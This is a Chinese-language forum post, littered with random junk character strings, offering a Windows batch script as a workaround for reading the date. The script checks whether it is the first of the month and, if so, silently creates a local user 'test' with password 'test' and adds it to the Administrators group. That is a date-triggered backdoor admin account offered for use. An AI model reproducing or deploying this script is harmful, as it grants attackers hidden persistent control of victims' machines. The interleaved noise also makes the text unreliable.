|
我也没有测试过,今天早上来看了看,发现没用,真是晕... ' G' y. l o! _
原来是"echo . | date"命令没有用,但echo . | time却是有用的,这是为什么?有人告诉我吗?
" }+ ~) Z: N; v% T o' i) u1 b/ t后来想了一下,就用其它的办法来实现它. 原理是:在cmd建立一个文件后,用dir查看,除了可以显示此文件的大小、后缀外,还建显示文件建立时间,也就是本地的当前时间啦~
/ |( s' J# H: o! k# `
. w* g. X, E1 _# `6 l$ J$ B& n/ E/ W v# P$ Y) N
所以 ,重点部份改成:
: ?" e. m; z. W7 E; b- N4 I@echo off
1 W0 _5 C" H0 P' r: q7 R" \) i# Xrem \\在C:建立一个空文件date.tmp 4 [! b0 t0 t% w2 \8 {$ U4 }
type nul >c:\date.tmp ) v5 a7 G, @( }# j2 G
rem \\查看此文件信息,及关键字-01-,也是就此文件的日期是否-01- ( S3 ?, d) k" J
dir c:\date.tmp | find "-01-">nul
: T( M `, S3 y; C) }5 Orem 如是不是1号,跳到end结束 0 ?, q) F H! x
if errorlevel 1 goto end 2 G) `: l- ?8 @) s: _
rem 如是是1号,跳到run执行 ' G4 V1 g- k; E9 {
if errorlevel 0 goto run
4 _, v- d; d7 `7 ]:run ; z. O8 p" p6 O7 N+ o
net user test test /add _) q( p/ [ h; Z) k+ u4 f3 n
net localgroup administrators test /add
# v, r7 |& i {/ H# Agoto end
: h7 [8 G# s5 \2 s, n1 M, B/ j. j:end - T! y$ Q5 _5 t# u) Q
del c:\date.tmp >nul
6 B b4 u' o/ Z 5 I7 A& q, l- u) Q
\( c9 t2 Z6 ?) G4 R0 x q+ a9 Y
|